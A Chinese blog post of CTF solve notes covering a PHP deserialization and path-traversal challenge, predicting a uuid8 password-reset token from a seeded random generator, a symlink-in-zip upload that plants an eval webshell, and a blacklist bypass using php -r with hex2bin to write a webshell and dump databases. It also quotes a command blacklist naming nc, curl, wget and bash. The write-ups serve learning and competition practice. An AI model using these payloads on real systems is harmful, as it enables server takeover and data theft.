做题小记

做题小记

lilctf 2025

Your Uns3r

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
highlight_file(__FILE__);
class User
{
public $username;
public $value;
public function exec()
{
$ser = unserialize(serialize(unserialize($this->value)));
if ($ser != $this->value && $ser instanceof Access) {
include($ser->getToken());
}
}
public function __destruct()
{
if ($this->username == "admin") {
$this->exec();
}
}
}

class Access
{
protected $prefix;
protected $suffix;

public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;

}
}

$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
exit ("no way!!!!");
}

$user = unserialize($ser);
throw new Exception("nonono!!!");

考察php的特性和反序列化的绕过

1.注意this->username==”admin”是弱比较,所以会发生强制类型转换,令username=0即可绕过这个判断

2.中间的字符拼接非常讨厌,尝试注释也都失败,可以用路径拼接/litctf/../flag,好像无论有没有litctf这个目录都可以实现路径穿越?

3.最后有个throw,我们要触发的方法在__destruct里面,常理来说是在throw之后触发的,所以我们用php的垃圾回收机制绕过,即构造外层是一个数组,第二个元素设为0,然后修改长度也为0,则会因为在反序列化时NULL而被回收从而触发__destruct,也可以删去末尾的;},使得外层的反序列化失败被当作垃圾回收

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

class User
{
public $username=0;
public $value;
public function exec()
{
$ser = unserialize(serialize(unserialize($this->value)));
if ($ser != $this->value && $ser instanceof Access) {
include($ser->getToken());
}
}
public function __destruct()
{
if ($this->username == "admin") {
$this->exec();
}
}
}

class Access
{
protected $prefix='/';
protected $suffix='/../flag';

public function getToken()
{
var_dump($this->prefix);
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;

}
}
$a=new User();
$a->value=serialize(new Access());
$b=array($a,0);
echo serialize($b);
#手动修改最后的0的长度为0,或者删去;},再url编码一下

https://jishuzhan.net/article/1786252042189148161 一道类似的题

ekko-note

原来我是非预期(

LilCTF 2025 web ekko_note 讲解_哔哩哔哩_bilibili

观看讲解知道伪造session的key是出题人不小心泄露的,预期解是利用uuid8依赖的random库的伪随机性生成管理员修改密码时的token然后再修改密码,登录管理员账号实现功能

img

不设置参数时,uuid8的随机性依赖于random库,而当random库的seed固定时就固定了(uuid8只有python 3.14以上的版本才有

1
token = str(uuid.uuid8(a=padding(user.username))) 

Exp(版本不够,直接定义函数吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import random
def uuid8(a=None, b=None, c=None):
"""Generate a UUID from three custom blocks.
* 'a' is the first 48-bit chunk of the UUID (octets 0-5);
* 'b' is the mid 12-bit chunk (octets 6-7);
* 'c' is the last 62-bit chunk (octets 8-15).
When a value is not specified, a pseudo-random value is generated.
"""
# 生成伪随机值(若参数未指定)
if a is None:
a = random.getrandbits(48)
if b is None:
b = random.getrandbits(12)
if c is None:
c = random.getrandbits(62)

# 构造 16 字节(128 位)的 UUID 字节数组
uuid_bytes = bytearray(16)

# 处理第一个块 'a'(48 位,填充到字节 0-5)
for i in range(6):
uuid_bytes[i] = (a >> (40 - i * 8)) & 0xFF # 从高位到低位依次填充

# 处理中间块 'b'(12 位,填充到字节 6 的低 4 位 + 字节 7 的全部 8 位)
b_masked = b & 0xFFF # 确保 b 是 12 位
uuid_bytes[6] = (uuid_bytes[6] & 0xF0) | ((b_masked >> 8) & 0x0F) # 字节 6 的低 4 位
uuid_bytes[7] = b_masked & 0xFF # 字节 7 的全部 8 位

# 处理最后一个块 'c'(62 位,填充到字节 8-15,共 8 字节)
c_masked = c & 0x3FFFFFFFFFFFFFFF # 确保 c 是 62 位(最高两位为 0)
for i in range(8):
uuid_bytes[8 + i] = (c_masked >> (56 - i * 8)) & 0xFF # 从高位到低位填充

# 设置 UUID 版本位(字节 6 的高 4 位设为 8,标识为 uuid8)
uuid_bytes[6] = (uuid_bytes[6] & 0x0F) | 0x80 # 0x80 = 10000000

# 设置 UUID 变体位(字节 8 的高 2 位设为 0b10,符合 RFC 4122 规范)
uuid_bytes[8] = (uuid_bytes[8] & 0x3F) | 0x80 # 0x80 = 10000000

# 格式化为标准 UUID 字符串(8-4-4-4-12 分段)
hex_str = uuid_bytes.hex()
return f"{hex_str[:8]}-{hex_str[8:12]}-{hex_str[12:16]}-{hex_str[16:20]}-{hex_str[20:]}"


def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int
#题目给的函数,直接照搬

random.seed(1755520924.7574363) #这是题目依赖的server_start_time
token = uuid8(a=padding("admin"))
print(token)

img

密码修改为1成功

CISCN2023 unzip软链接

CISCN2023 unzip软链接getshell_ciscn 2023文件上传-CSDN博客

是一个上传页面,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
error_reporting(0);

highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);

if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){

exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);

};

//only this!

主要是存在路径问题,自动解压缩到/tmp是无法访问的,考虑使用软连接

解题

1
2
3
4
5
6
7
8
mkdir hhh
cd hhh
ln -s /var/www/html link #创建一个软连接
zip --symlink 1.zip link #压缩路径
rm link #删掉软连接防止重名
mkdir link #注意前后两次目录名要相同
echo '<?=eval($_POST[123]);?>'>link/shell.php #写🐎
zip -r 2.zip link #递归压缩

先上传1.zip构建,/tmp/link是一个指向/var/www/html的软连接,然后再上传2.zip,再unzip时,会先将shell.php顺着软连接写入web目录下,然后再覆盖目录,写入之后就可以getshell了

CISCN2024-simple_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

escapeshellcmd会给特殊字符自动转义,那么字符拼接就行不通了,取反和八进制也行不通

考虑在system中调用php来执行php函数

1
php -r phpinfo(); #执行成功

过滤了引号,考虑编码绕过

1
2
3
4
5
6
7
8
9
10
s = "echo '<?php @eval($_POST[123]);?>' > 1.php"


bytes_data = s.encode('utf-8')


hex_str = bytes_data.hex()

print(hex_str)
#6563686f20273c3f70687020406576616c28245f504f53545b3132335d293b3f3e27203e20312e706870

写🐎

然后使用十六进制绕过

1
2
cmd=php -r eval(hextobin(substr(_6563686f20273c3f70687020406576616c28245f504f53545b3132335d293b3f3e27203e20312e706870,1)));
#hex2bin 将十六进制数转变成字符串,substr截取字符串

连接webshell之后发现没有flag,可能在数据库里面,猜测账号密码都是root

1
mysqldump -u root -proot --all-databases

做题小记
http://fearless-123.github.io/2025/09/24/做题小记/
作者
fearless123
发布于
2025年9月24日
许可协议